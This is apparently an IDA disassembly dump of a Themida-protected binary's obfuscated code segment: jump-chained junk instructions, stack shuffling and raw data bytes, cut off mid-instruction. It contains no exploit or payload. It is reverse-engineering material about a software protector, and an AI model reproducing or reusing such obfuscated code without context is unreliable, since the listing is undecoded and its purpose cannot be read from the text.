; --------------------------------------------------------------------------- loc_57195B: ; CODE XREF: Themida_:0056FF79j sub esp, 4 mov [esp], ebx sub dword ptr [esp], 5F7542C5h push dword ptr [esp] jmp loc_565BB8 ; --------------------------------------------------------------------------- dd 0E7EE954h, 0BE56FFFFh, 4, 4247401h, 24048B5Eh, 5304C483h dd 0F67C96BBh, 12CBE927h, 0EA81FFFFh, 8568AE03h, 34FFD501h dd 0ED685A24h, 8900003Fh, 0E189240Ch, 0FFA069E9h db 0FFh ; --------------------------------------------------------------------------- loc_5719AD: ; CODE XREF: Themida_:00575C05j mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5679C4 ; --------------------------------------------------------------------------- loc_5719C1: ; CODE XREF: Themida_:0057689Aj shl edx, 2 sub edx, 0C38B02DFh jmp loc_564FFD ; --------------------------------------------------------------------------- loc_5719CF: ; CODE XREF: Themida_:005665FBj sub ebx, 15155836h add ebx, 3DD39AEh sub esp, 4 mov [esp], ecx push eax push 1F872F2Ch pop eax xor eax, 8B802D1h jmp loc_570843 ; --------------------------------------------------------------------------- aF1Sa db 'f1,$éa)',0 dw 400h aUfsI db 'žfS·¨',0 dw 66F8h aS5 db '[éÜ5',0 align 2 dw 3C89h dd 3CBE5624h, 0E933D535h, 0FFFFFD45h, 83242C8Bh, 0C68304C4h dd 24348702h, 6624248Bh, 9C240401h, 0FEF611E9h, 81E589FFh dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFBFC3h, 685EF101h, 3FFFh dd 2331E9h db 0 ; --------------------------------------------------------------------------- loc_571A51: ; CODE XREF: Themida_:00561729j push dword ptr [esp] jmp loc_563C8F ; --------------------------------------------------------------------------- loc_571A59: ; CODE XREF: Themida_:00568DA7j add eax, 3664897h push dword ptr [esp] push dword ptr [esp] jmp loc_5622D8 ; --------------------------------------------------------------------------- align 2 dw 0E9E3h dd 1132h, 0E980C7B1h, 59C800C1h, 0FE58C700h, 66EFD0CFh dd 6BB450h, 2C5866E7h, 0E9F82821h, 0FFFF5EAFh, 0C62EEB81h dd 0DD291E04h, 0FFFE16E9h, 3964BDFFh, 0E9294EA9h, 0CBE9815Dh dd 1005759h, 0CBC181D9h, 56005759h, 0A8702FBEh, 81DEF763h dd 3A6F59C6h, 81D6F724h, 3B388FC6h, 59F9E90Fh, 0C481FFFFh dd 4, 2C681h, 0EC810000h, 4, 0FF243489h, 8B042474h, 89522434h dd 515751E2h, 882475B9h, 4149417Fh, 5F59F181h, 0F1817703h dd 2C8C540Dh, 0C159CF89h, 0EFC105EFh, 0E1EF8106h, 0E9000480h dd 0FFFFE350h, 8012EA80h, 0D72859EAh, 0B4F7805Ah, 525BFE28h dd 8033B151h, 0CA88A2E9h, 0AACA8059h, 0FF28C7E9h, 16F280FFh dd 0E2C0DAF6h, 0FB05005h, 34E9C200h, 57FFFFCBh, 0FFE92DE9h db 0FFh ; --------------------------------------------------------------------------- loc_571B51: ; CODE XREF: Themida_:005729BCj sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5758ED ; --------------------------------------------------------------------------- loc_571B6F: ; CODE XREF: Themida_:00563F3Fj push 60D5728Eh pop esi push ebx mov ebx, 0ABE2E88Ch jmp loc_573B19 ; --------------------------------------------------------------------------- loc_571B80: ; CODE XREF: Themida_:00564634j or esi, 1BBC191Ch not esi add esi, 3FFE7B64h sub edx, esi pop esi jmp loc_56F9EC ; --------------------------------------------------------------------------- loc_571B96: ; CODE XREF: Themida_:0056F6A5j sub esp, 4 mov [esp], edx mov edx, 5C8E2C03h add [esp+4], edx mov edx, [esp] add esp, 4 pop edi sub edi, 5C8E2C03h mov esi, [esp] jmp loc_56D61E ; --------------------------------------------------------------------------- dw 52ADh dd 0D32E7DBAh, 4EC8354h, 2E85E9h db 0 ; --------------------------------------------------------------------------- loc_571BC9: ; CODE XREF: Themida_:005695C3j push 5C15h jmp loc_5749AB ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 0BB53E189h, 54221361h, 0FFE3B0E9h dd 5BDA21FFh, 0FF6F74E9h db 0FFh ; --------------------------------------------------------------------------- loc_571BF1: ; CODE XREF: Themida_:00565AF4j sub eax, 53D0073Ch jmp loc_564B87 ; --------------------------------------------------------------------------- db 81h dd 344EB4EAh, 14335D6Ah, 910E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571C0A: ; CODE XREF: Themida_:0056D69Dj add esi, 4 jmp loc_575127 ; --------------------------------------------------------------------------- db 53h, 0B7h, 2 dd 6866h, 8A243C28h, 0C483243Ch, 68526602h, 4EEFh, 0FFCD09E9h dd 3E9C1FFh, 519B68h, 24048900h, 1875BD55h, 0CDB84878h dd 31455F0Dh, 0F90D5DE8h, 55179C23h, 0BF37FABDh, 0A6A0E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571C5A: ; CODE XREF: Themida_:005636BBj pop ebx jmp loc_567B4B ; --------------------------------------------------------------------------- dd 2EE9C829h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571C67: ; CODE XREF: Themida_:0056CFBAj push eax mov ah, 5 not ah or ah, 65h dec ah sub ah, 83h sub ah, 0D9h sub ah, 0CFh sub bl, ah jmp loc_56DFF8 ; --------------------------------------------------------------------------- aWUkrs@ db 'W¿%ukréÈ@',0 align 4 loc_571C8C: ; CODE XREF: Themida_:00568F53j sub eax, edi pop edi add eax, ebp push ebp mov ebp, 27A026Eh add eax, 416A0DABh add eax, ebp push ebx mov ebx, 416A0DABh sub eax, ebx pop ebx pop ebp pop ebp xor ebx, eax push dword ptr [esp] pop eax jmp loc_56D8D0 ; --------------------------------------------------------------------------- dd 0E98023B1h, 71B652DEh, 20B8C680h, 24148BF1h, 8004C483h dd 0B050ADE9h, 58C13016h, 0C8BCE28h, 4C48124h, 53000000h dd 2AE9F388h, 51FFFF3Dh, 4B9h, 59CA0100h, 4C281h, 14870000h dd 24248B24h, 525368h, 241C8900h, 42474FFh, 52241C8Bh dd 0C281E289h, 4, 0E904C283h, 0FFFF005Ah ; --------------------------------------------------------------------------- loc_571D18: ; CODE XREF: Themida_:00563847j mov [esp], ecx mov ecx, esp jmp loc_5709DA ; --------------------------------------------------------------------------- dw 7768h dd 89000015h, 0FFE9243Ch db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571D2F: ; CODE XREF: Themida_:0056B753j pop esp push ebx push 478378A8h pop ebx sub ebx, 1 push 51Eh mov [esp], eax push ebp mov ebp, 4FB208D1h xor ebp, 579C7935h shl ebp, 1 shl ebp, 3 sub ebp, 7ED3E3F6h mov eax, ebp pop ebp push ebp push esp pop ebp jmp loc_57210B ; --------------------------------------------------------------------------- db 9 dd 243C8BF9h, 0E904C483h, 2A75h, 6CF78058h, 8015F780h dd 0E78051C7h, 0FEF786F9h, 80F786C6h, 0EC80FEEFh, 0E9FC28A7h dd 4103h, 0E924048Bh, 0FFFFEEEFh, 4E0A23B8h, 58C68935h dd 3192E9h, 244C0100h, 565B5904h, 7667F9BEh, 0F4FAE946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571DBA: ; CODE XREF: Themida_:00576394j pop esp xchg ebp, [esp] push dword ptr [esp] jmp loc_56359F ; --------------------------------------------------------------------------- dw 26BFh dd 51503279h, 0DF71F0B9h, 59CA293Dh, 0FFE41FE9h db 0FFh ; --------------------------------------------------------------------------- loc_571DD9: ; CODE XREF: Themida_:0056E425j or ecx, 176D34D6h jmp loc_562D63 ; --------------------------------------------------------------------------- dd 3C7E0A2Dh, 0E9D80122h, 0FFFFBD83h, 5DE80158h, 0E904C083h dd 0FFFF065Fh, 8B242C87h, 9BE92424h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_571E07: ; CODE XREF: Themida_:005676D8j pop edx add edx, 4 push esi mov esi, 55EF3710h push ecx jmp loc_56EB9B ; --------------------------------------------------------------------------- loc_571E1A: ; CODE XREF: Themida_:0056F92Aj pop edx add esp, 4 add [esp+4], ecx pop ecx jmp loc_572218 ; --------------------------------------------------------------------------- db 5Dh dd 2474FF57h, 1D13E904h, 0E9590000h, 0FFFF48B5h ; --------------------------------------------------------------------------- loc_571E3C: ; CODE XREF: Themida_:00561248j mov ebp, [esp] add esp, 4 jmp loc_56E4B0 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 0E5E904C2h, 58FFFFC8h, 2FCFE9h db 0 ; --------------------------------------------------------------------------- loc_571E5D: ; CODE XREF: Themida_:00565987j xor edi, ebx pop ebx push edi pop eax jmp loc_56BAF4 ; --------------------------------------------------------------------------- db 53h dd 183FE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_571E6E: ; CODE XREF: Themida_:00566D77j mov esp, [esp] shr eax, 0Ah xor eax, ecx push 37A2h mov [esp], eax jmp loc_5652D1 ; --------------------------------------------------------------------------- loc_571E83: ; CODE XREF: Themida_:0056ADF1j mov edx, 732F562Ch sub edx, 7BC92C0Eh shr edx, 1 jmp loc_56CC1F ; --------------------------------------------------------------------------- db 31h, 0D1h, 0E9h dd 0FFFFCA91h, 4C48159h, 50000000h, 0FF9370E9h, 89DF89FFh dd 8DE95FF9h, 1FFFFA3h, 4BC181F1h, 81171F74h, 4ECh, 24148900h dd 3688BB53h, 0DA89454Bh, 5AD1295Bh, 2B4DBB53h, 0C3813C1Eh dd 2110F50Ch, 8B5BD901h, 0C7E92434h, 66FFFF89h, 5524048Bh dd 50E28952h, 467745B8h, 2E8C11Ch, 0BB5C1235h, 0AC6E958h dd 0C483FFFFh, 240C8B02h, 4C481h, 88E90000h, 81FFFFB9h dd 4C1h, 0D8E95000h, 8B000044h, 0B1E92434h, 51FFFF6Fh dd 0B4BE9h db 0 ; --------------------------------------------------------------------------- loc_571F2D: ; CODE XREF: Themida_:00564F7Ej add eax, esi pop esi push esi mov esi, 44E45785h push ecx jmp loc_56659E ; --------------------------------------------------------------------------- dd 0DB5BB4B8h, 40D8F72Fh, 0BBBA5248h, 8128186Fh, 7147A9E2h dd 14F7E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_571F56: ; CODE XREF: Themida_:0056F8A4j mov esi, 2FF2685Bh add esi, 15A0207Fh or esi, 75CB631Dh sub esi, 568DCA30h sub eax, esi pop esi pop ebp mov edx, [esp] add esp, 4 push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_56F7ED ; --------------------------------------------------------------------------- loc_571F88: ; CODE XREF: Themida_:005615C9j pop esi xchg esi, ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov eax, [esp] add esp, 4 jmp loc_57633C ; --------------------------------------------------------------------------- dw 0F281h dd 434214B8h, 1E5BEA81h, 0C2815499h, 0E451AAB7h, 0E95AD301h dd 0FFFF9EC2h, 0BB55150h, 82B15150h, 809AC980h, 0CC88ECE9h dd 62E95259h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_571FD3: ; CODE XREF: Themida_:005642DEj xor [esp], ebx xor ebx, [esp] pop esp push 2BEBh mov [esp], ecx jmp loc_565B76 ; --------------------------------------------------------------------------- db 29h dd 0F4F7E9FAh, 0C381FFFEh, 4, 8704C383h, 0E2E9241Ch db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571FFF: ; CODE XREF: Themida_:0056AEF7j not al inc al shr al, 6 add al, 0F0h jmp loc_56CFB1 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 1831E9h db 0 ; --------------------------------------------------------------------------- loc_572015: ; CODE XREF: Themida_:0056E211j add al, cl add al, 65h mov ecx, [esp] add esp, 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add bl, 0D3h push dx jmp loc_571579 ; --------------------------------------------------------------------------- dd 1DBD5558h, 297BEC0Fh, 4C6FE9E8h, 0BD55FFFFh, 636960F4h dd 8246C29h, 0EE53E95Dh, 0F381FFFFh, 108C7D09h, 4FB0EB81h dd 3FE93EF2h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57206F: ; CODE XREF: Themida_:00563ED0j pop esp push 1177h mov [esp], edi pop eax push dword ptr [esp] mov edi, [esp] jmp loc_57110C ; --------------------------------------------------------------------------- dd 8903F681h, 0F229552Ah, 55F4E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572092: ; CODE XREF: Themida_:0056EF97j push 177Dh mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_56FFBF ; --------------------------------------------------------------------------- loc_5720A4: ; CODE XREF: Themida_:0056C50Fj pop edx add esi, ecx push edx jmp loc_565CBE ; --------------------------------------------------------------------------- loc_5720AD: ; CODE XREF: Themida_:00567B53j pop esi jmp loc_574B50 ; --------------------------------------------------------------------------- db 89h dd 87E92404h, 1FFFEEFh, 241C8BD9h, 5E08950h, 4, 8704C083h dd 0E95C2404h, 0FFFF3858h ; --------------------------------------------------------------------------- loc_5720D4: ; CODE XREF: Themida_:00562669j mov ebx, 308B0508h add ebx, 11312C70h or edi, ebx push dword ptr [esp] jmp loc_57699A ; --------------------------------------------------------------------------- db 29h, 0DAh, 5Bh dd 16F6E981h, 2FE975E9h, 8900001Fh, 12E92404h, 8BFFFF11h dd 0F662424h, 0BAE9C8AFh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57210B: ; CODE XREF: Themida_:00571D62j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebp jmp loc_568BE3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 1D8EE900h, 0CD290000h, 0FF203DE9h, 24E951FFh dd 51000029h, 0C180C6B1h, 7E1C0BFh, 0E980D1F6h, 59CC8817h dd 19E9ECD0h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_57215B: ; CODE XREF: Themida_:0056B1B1j sub al, ch mov cx, [esp] push ebx jmp loc_572C47 ; --------------------------------------------------------------------------- db 5Fh dd 68240429h, 6692h, 56242C89h, 57C2ABEh, 0E421E96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57217E: ; CODE XREF: Themida_:00570360j add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] mov esp, [esp] pop esi push esi not dword ptr [esp] pop esi xchg esi, ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop ecx push edi jmp loc_56C83D ; --------------------------------------------------------------------------- dd 0E95AD329h, 0FFFFB9E7h, 48E9EB31h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5721B7: ; CODE XREF: Themida_:0056D000j xchg ecx, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_57101B ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C3h dd 879377Fh, 0A9E9F301h, 81FFFF35h, 4C4h, 24048700h, 2404D25Ch dd 0EE54E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5721EE: ; CODE XREF: Themida_:00563BC9j mov ecx, esi pop esi not ecx jmp loc_562864 ; --------------------------------------------------------------------------- dd 42474FFh, 0E92434FFh, 100Fh, 81243C8Bh, 4C4h, 4C48100h dd 0E9000000h, 0C99h ; --------------------------------------------------------------------------- loc_572218: ; CODE XREF: Themida_:00571E26j mov eax, [esp] jmp loc_575B24 ; --------------------------------------------------------------------------- loc_572220: ; CODE XREF: Themida_:0056EAA0j and esi, 4286520Ch xchg edi, esi jmp loc_56D9D8 ; --------------------------------------------------------------------------- aSk_0 db ')ÚéŠ%',0 align 4 dd 0E9F90159h, 0FFFF7E49h ; --------------------------------------------------------------------------- loc_57223C: ; CODE XREF: Themida_:00563E96j mov ebp, 2DC22D29h sub esi, ebp pop ebp mov edx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_565B29 ; --------------------------------------------------------------------------- dw 105h dd 0F7000000h, 583B68D0h, 34890000h, 31856824h, 0E95E3C00h dd 0FFFF190Dh, 8704C283h, 76E92414h, 2DFFFF66h, 703B1BD3h dd 0D305E829h, 0E9703B1Bh, 0FFFF11F9h, 0B850DBF7h, 52D94887h dd 0EADBB035h, 58C301D4h, 295BD801h, 0EE8158C6h, 0AD6A04DAh dd 34FFF129h, 6864E924h, 34FFFFFFh, 0EC815824h, 4, 89241C89h dd 4C381E3h, 81000000h, 4C3h, 74FF5300h, 1C8B0424h, 0CC1DE924h dd 0D2F7FFFFh, 8106EAC1h, 0F13324CAh, 0C0EA817Dh, 8136EF5Eh dd 520BB4E2h, 43EBE941h, 47680000h, 0E9000008h, 0FFFF6C7Dh dd 0EA80CAB2h, 6A2CA0h, 0F592E9D0h, 6E68FFFEh, 0E9000067h dd 0FFFF2A76h, 2DF7E956h, 0E95BFFFFh, 0FFFF5585h ; --------------------------------------------------------------------------- loc_572340: ; CODE XREF: Themida_:00575997j mov cl, bl mov al, cl pop ecx jmp loc_5769A7 ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF3B34h ; --------------------------------------------------------------------------- loc_572350: ; CODE XREF: Themida_:0056A991j push ecx mov ecx, 77D607E5h dec ecx push ebp jmp loc_5708CE ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 2C290000h, 37E95D24h, 81FFFFC1h, 695338C3h, 8BD989B7h dd 0C483241Ch, 0A9D2D04h, 0C8290669h, 690A9D05h, 2434FF06h dd 0E1895159h, 4C181h, 0E9810000h, 4, 0E9240C87h, 0FFFF5A27h dd 8924248Bh, 97E9240Ch, 68FFFEECh, 11B1h, 53241C89h, 0FF5D2FE9h dd 8BDD89FFh, 768241Ch, 89000000h, 0E0892404h, 405h, 4C08300h dd 3B41E9h, 48B6600h, 0E9565524h, 24Eh, 15DEE29h, 4EBD55FEh dd 81053F29h, 186A34EDh, 90CD817Ch, 810C9052h, 0CA7C98EDh dd 0DAE94D39h, 66FFFF9Eh, 4BE9F829h, 2DFFFF73h, 4, 378AE9h dd 24048900h, 0FF37EBE9h, 81E189FFh, 4C1h, 4C18100h, 87000000h dd 248B240Ch, 0EC0CE924h, 431FFFEh, 24043324h, 242C895Ch dd 6F1068h, 0E058E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57244A: ; CODE XREF: Themida_:00562899j push edx mov edx, 2DC22D29h add [esp+4], edx push dword ptr [esp] pop edx add esp, 4 pop esi jmp loc_563E95 ; --------------------------------------------------------------------------- loc_572461: ; CODE XREF: Themida_:0057454Dj add ecx, ebx pop ebx xchg ecx, [esp] pop esp sub edx, 27023B98h add edx, esi push ebp mov ebp, 27023B98h add edx, ebp pop ebp mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp push ebx push edx mov edx, 72281Eh jmp loc_5691EE ; --------------------------------------------------------------------------- dw 8BB1h dd 0CB303FB3h, 8BDE8859h, 0C483241Ch, 50CEFE04h, 0FFD7D5E9h dd 16E954FFh, 8900003Fh, 0B6E92424h, 55FFFF26h, 4F68E4BDh dd 0FFED8323h, 7AE5814Dh, 810D283Fh, 53F889EDh, 8BEA297Ch dd 0C481242Ch, 4, 47E9D389h, 29FFFF8Fh, 0F9BF57D0h, 0E9472B65h dd 0FFFFD8F5h, 4C481h, 12680000h, 8900001Ah, 0A3E92414h dd 81FFFEF5h, 4C5h, 4ED8100h, 0E9000000h, 0FFFFE35Eh, 240C8B66h dd 8904EC83h, 0E954240Ch, 0FFFF6849h, 81CF2958h, 0F94AA3EFh dd 0ECC78100h, 0E901F07Ch, 0FFFEF1BBh, 240C8B66h, 537068h dd 6F70E900h, 1C8BFFFFh, 1FE95124h, 83FFFF6Dh, 4AE901EBh db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_572553: ; CODE XREF: Themida_:00566336j sub ah, 76h shr ah, 3 push bx jmp loc_572CC1 ; --------------------------------------------------------------------------- dd 0EB368ABBh, 0F1E6E975h, 0C601FFFFh, 14B1C681h, 0EE811FF1h dd 78242E83h, 8124048Bh, 4C4h, 28BD5500h, 816D235Fh, 840E97F5h dd 0E4ED816Ah, 29206165h, 242C8BEEh, 0FF11F5E9h, 0C8B66FFh dd 58685224h, 89000003h, 4812424h, 424h, 0C2815A00h, 4 dd 5204EA83h, 42474FFh, 0FF2AE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5725C5: ; CODE XREF: Themida_:00562029j xchg edx, ebx push ebp mov ebp, 338C218Bh sub ebp, 0B388BA6Ch jmp loc_56842E ; --------------------------------------------------------------------------- loc_5725D8: ; CODE XREF: Themida_:0056E773j mov esp, [esp] jmp loc_56D66E ; --------------------------------------------------------------------------- loc_5725E0: ; CODE XREF: Themida_:0056C0A3j push esp jmp loc_56C256 ; --------------------------------------------------------------------------- loc_5725E6: ; CODE XREF: Themida_:0056862Dj pop ecx add esp, 4 jmp loc_5620AD ; --------------------------------------------------------------------------- db 68h dd 6F48h, 52241C89h, 76E95A54h, 5DFFFF91h, 0C15BDA89h dd 0E94208E2h, 0FFFFC268h ; --------------------------------------------------------------------------- loc_57260C: ; CODE XREF: Themida_:00562719j mov eax, [esp] add esp, 4 jmp loc_568715 ; --------------------------------------------------------------------------- dw 34FFh dd 47E95824h, 81FFFF8Eh, 4C1h, 0DC13E900h, 5E54FFFFh, 0FF83FEE9h dd 0FFFFBFFFh, 0FB01FFFFh, 8EBC15Fh, 83E9504Bh db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_572647: ; CODE XREF: Themida_:0056EA04j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5614D5 ; --------------------------------------------------------------------------- loc_572658: ; CODE XREF: Themida_:0056C610j pop esi shr esi, 4 add esi, 444D45AFh sub esi, 0F9897248h push esi mov ebx, [esp] add esp, 4 pop esi or ebx, 414F5AB1h push 1335h mov [esp], esi mov esi, 58E73F34h jmp loc_569675 ; --------------------------------------------------------------------------- loc_57268B: ; CODE XREF: Themida_:005685EBj neg edi jmp loc_562473 ; --------------------------------------------------------------------------- dw 53BFh dd 0E9065D7Dh, 0FFFEFAFFh ; --------------------------------------------------------------------------- loc_57269C: ; CODE XREF: Themida_:0057539Bj sub esi, ecx pop ecx sub esi, 3285573Ah jmp loc_56F5A0 ; --------------------------------------------------------------------------- dw 0EF81h dd 12717E17h, 34E9F701h, 83FFFF12h, 0BA5204C4h, 4, 6C63C781h dd 0C7814BECh, 448420D5h, 0BD55D701h, 448420D5h, 0E95DEF29h dd 0FFFF720Ah, 815FFA01h, 4C2h, 24148700h, 5FE1815Ch, 57262A07h dd 0FB968h, 242C8900h, 0ED739ABDh, 45DDF74Dh, 739AC581h dd 0EF894DEDh, 8BF9015Dh, 0C483243Ch, 0D5E18104h, 535FA26Ah dd 6EB8B850h, 0C3896517h, 8BD93158h, 0C483241Ch, 59CF8904h dd 34FFF831h, 60E95F24h, 59000035h, 30CDE952h, 0D020FFFFh dd 8324148Bh, 0BD3404C4h, 2858C700h, 0B81FE9F8h, 0EE81FFFFh dd 1A1E1D68h, 0C8E9DE29h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_57275F: ; CODE XREF: Themida_:0057356Ej pop ebp jmp loc_574497 ; --------------------------------------------------------------------------- aMh db 'MhÄ]',0 dw 8900h dd 1BB9240Ch, 3147056Ah, 0EC8359CDh, 24348904h, 6072EABEh dd 54C68107h, 502EF76Ch, 0D57355B8h, 84A250Dh, 0B2E95A8Dh dd 81FFFFECh, 4ECh, 24148900h, 1E68E289h, 89000039h, 8353243Ch dd 148904ECh, 7E716824h, 0F75A3D57h, 0CBEA81D2h, 89788D69h dd 7AC0E9D3h, 1489FFFFh, 0E99C5024h, 0FFFEE872h, 47BC68h dd 48F5400h, 24048124h, 4, 0FF5373E9h, 31F531FFh, 14F755EEh dd 0EE315D24h, 0EE31F531h, 743DC681h, 0E6C132DDh, 4C68108h dd 0E992C4C9h, 0FFFF5E40h, 5CE9F801h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57280F: ; CODE XREF: Themida_:005648E7j mov [esp], ebx jmp loc_56813F ; --------------------------------------------------------------------------- db 8Fh dd 9EE92404h, 59FFFF9Eh, 0FEE966E9h db 0FFh ; --------------------------------------------------------------------------- loc_572825: ; CODE XREF: Themida_:00573766j inc edx xor edx, 0A14257AEh add [esp+8], edx pop edx jmp loc_5624FA ; --------------------------------------------------------------------------- dw 0CAFEh dd 0E946F280h, 0FFFFE9F1h, 81EA0158h, 0B50D43EAh, 0E0E95D1Fh db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57284F: ; CODE XREF: Themida_:00569DDBj inc edi shr edi, 5 add edi, 4F4BFF48h add eax, edi pop edi xor eax, 185E26A9h sub edx, 51DC339Dh add edx, eax jmp loc_573412 ; --------------------------------------------------------------------------- dw 15Ch aHmg db 'Âh¬g',0 align 2 dw 3C89h dd 15CFBF24h, 63E95C74h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572883: ; CODE XREF: Themida_:00574AECj ; DATA XREF: ___:0043F6F9o shr eax, 7 shl eax, 7 xor eax, 3C9E9ADAh xor ecx, eax pop eax add ebx, ecx pop ecx push edi push eax mov eax, 17CC670Dh jmp loc_561FFD ; --------------------------------------------------------------------------- loc_5728A0: ; CODE XREF: Themida_:0056FC25j add esi, 28D90F32h mov edx, esi pop esi sub eax, edx mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_567B76 ; --------------------------------------------------------------------------- loc_5728B9: ; CODE XREF: Themida_:0057627Aj push edx mov edx, 5CBC28F5h neg edx xor edx, 0DB301AEh jmp loc_573760 ; --------------------------------------------------------------------------- dd 0E95FFA01h, 0FFFFF959h, 4C381h, 0C3830000h, 241C8704h dd 4FF535Ch, 0D3F75B24h, 0FF9E7AE9h, 55D3F7FFh, 0A11A4EBDh dd 5DEB3104h, 726E68h, 0B163E900h, 0E3C1FFFFh, 35C38107h dd 0E9769955h, 0FFFF7C28h, 0C181E189h, 4, 4E981h, 0C870000h dd 0C895C24h, 8094B524h, 0E6E9C0F5h, 5F00001Bh, 7FAFE981h dd 0F1017C9Dh, 7FAFC181h, 0E9817C9Dh, 3813510Dh, 5E2434FFh dd 4C481h, 88E90000h, 11h, 0BFB050F3h, 6D0C4604h, 0F72C3524h dd 48BC300h, 4C48324h, 1B0505Ah, 0C004E0C0h, 2E906E8h dd 0B8FFFFA4h, 2C910376h, 0F75AD001h, 363B25D8h, 0BA52623Eh dd 70AB05D0h, 5966F281h, 0E2817F06h, 14B403B9h, 0FFF959E9h db 0FFh ; --------------------------------------------------------------------------- loc_57299D: ; CODE XREF: Themida_:00563083j mov eax, 41AD1CE1h push ebx jmp loc_566D00 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFCC16h ; --------------------------------------------------------------------------- loc_5729B0: ; CODE XREF: Themida_:0056B3D9j xchg edx, [esp] pop esp push 7C08h mov [esp], ebx jmp loc_571B51 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 47E95524h, 0C1FFFEF7h, 0F18107E9h, 3F643FA3h, 0FF70F181h dd 0CB017967h, 1C335859h, 241C3124h, 8B241C33h, 34FF2424h dd 2434FF24h, 4C48359h, 0E904EC83h, 0FFFFF6FBh, 0ED81D501h dd 362E49BFh, 3AE5815Ah, 551CF81Bh, 5D2414F7h, 0E8E1ED81h dd 0C781FB07h, 22FE1701h, 13DCE9h, 16B5BE00h, 4A05116Ah dd 0E926C642h, 283Fh, 8904EC83h, 23BB241Ch, 29AC4AC4h dd 0FA015BDFh, 4C2835Fh, 0FFB001E9h, 752C5AFFh, 36C6E953h dd 481FFFFh, 424h, 0C1815900h, 4, 4E981h, 0C870000h, 34895C24h dd 1366BE24h, 0E94657C5h, 0FFFFCC40h, 240C8B5Fh, 3104C483h dd 5F04247Ch, 3BD555Ah, 81241535h, 583A82EDh, 9963E978h dd 248BFFFFh, 0C896624h, 0E9C1B124h, 0FFFF9C24h, 5C241C87h dd 1296BA52h, 0D72907F9h, 81CF015Ah, 0F91296C7h, 76685907h dd 89000050h, 6857240Ch, 2, 5FF9895Fh, 7CECEF81h, 545501F0h dd 4C5815Dh, 0E9000000h, 0FFFFBD67h ; --------------------------------------------------------------------------- loc_572AE0: ; CODE XREF: Themida_:00568A6Fj pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5667F6 ; --------------------------------------------------------------------------- dw 0D089h dd 5024148Bh, 405E089h, 83000000h, 48704C0h, 0FD355C24h dd 8110C955h, 4F586AE9h, 77C1815Bh, 1352862h, 65A3E9C1h dd 0E95DFFFFh, 0FFFFBAD1h, 0FE1DE95Fh, 4D3FFFEh, 0EDE99C24h dd 81FFFEFEh, 4ECh, 24148900h, 0C281E289h, 4, 4B850h, 0EA810000h dd 69BD401Dh, 0FF9D5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_572B55: ; CODE XREF: Themida_:00566AEBj add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ecx mov ecx, 1 and eax, ecx push dword ptr [esp] pop ecx push 20F8h jmp loc_57483E ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 0FFEC15E9h, 31DF31FFh, 0E9D7F7FBh, 0FFFF32FAh dd 42474FFh, 24048F5Ah, 0FFEA835Ah, 30AFE951h, 6658FFFFh dd 2879B252h, 525A66D3h, 0D3283BB2h, 0D69FE95Ah, 0BE56FFFFh dd 7962C02Ch, 0DB698F05h, 78C02D03h, 48E959EDh db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572BCB: ; CODE XREF: Themida_:00566EAFj push dword ptr [esp] pop 